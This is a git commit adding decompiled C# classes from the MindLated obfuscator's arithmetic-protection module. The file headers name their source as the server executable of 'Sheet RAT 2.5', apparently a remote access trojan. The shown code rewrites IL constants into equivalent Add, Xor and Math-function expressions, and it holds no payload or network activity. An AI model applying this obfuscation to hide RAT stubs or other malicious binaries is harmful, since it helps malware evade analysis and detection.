initial commit

This commit is contained in:
i2p
2026-08-27 11:23:25 -06:00
commit faef36ee57
588 changed files with 40547 additions and 0 deletions
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Add
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Add : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Add;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Add), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Div
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Div : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Div;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Div), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Abs
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public sealed class Abs : Function
{
private static ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Abs;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), Abs.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(Abs.ArithmeticTypes))), Abs.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Ceiling
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Ceiling : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Ceiling;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Cos
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Cos : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Cos;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Floor
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Floor : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Floor;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Log : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Log10
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Log10 : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Log10;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Round
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Round : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Round;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sin
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Sin : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sin;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Sqrt
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Sqrt : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sqrt;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tan
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Tan : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tan;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Tanh
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Tanh : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Tanh;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Maths.Truncate
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions.Maths {
public class Truncate : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Truncate;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
List<ArithmeticTypes> arithmetics = new List<ArithmeticTypes>()
{
ArithmeticTypes.Add,
ArithmeticTypes.Sub
};
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(arithmetics), arithmeticEmulator.GetY()), new Token(ArithmeticUtils.GetOpCode(arithmeticEmulator.GetType), (object) module.Import((MethodBase) ArithmeticUtils.GetMethod(this.ArithmeticTypes))), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Mul
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Mul : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Mul;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Mul), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,26 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Sub
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Sub : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Sub;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), ArithmeticUtils.GetY((double) instruction.GetLdcI4Value()), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Sub), this.ArithmeticTypes);
}
}
}
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Functions.Xor
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Utils;
//#nullable disable
namespace MindLated.Protection.Arithmetic.Functions {
public class Xor : Function
{
public virtual ArithmeticTypes ArithmeticTypes => ArithmeticTypes.Xor;
public override ArithmeticVt Arithmetic(Instruction instruction, ModuleDef module)
{
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
if (!ArithmeticUtils.CheckArithmetic(instruction))
return (ArithmeticVt) null;
ArithmeticEmulator arithmeticEmulator = new ArithmeticEmulator((double) instruction.GetLdcI4Value(), (double) generator.Next(), this.ArithmeticTypes);
return new ArithmeticVt(new Value(arithmeticEmulator.GetValue(), arithmeticEmulator.GetY()), new Token(OpCodes.Xor), this.ArithmeticTypes);
}
}
}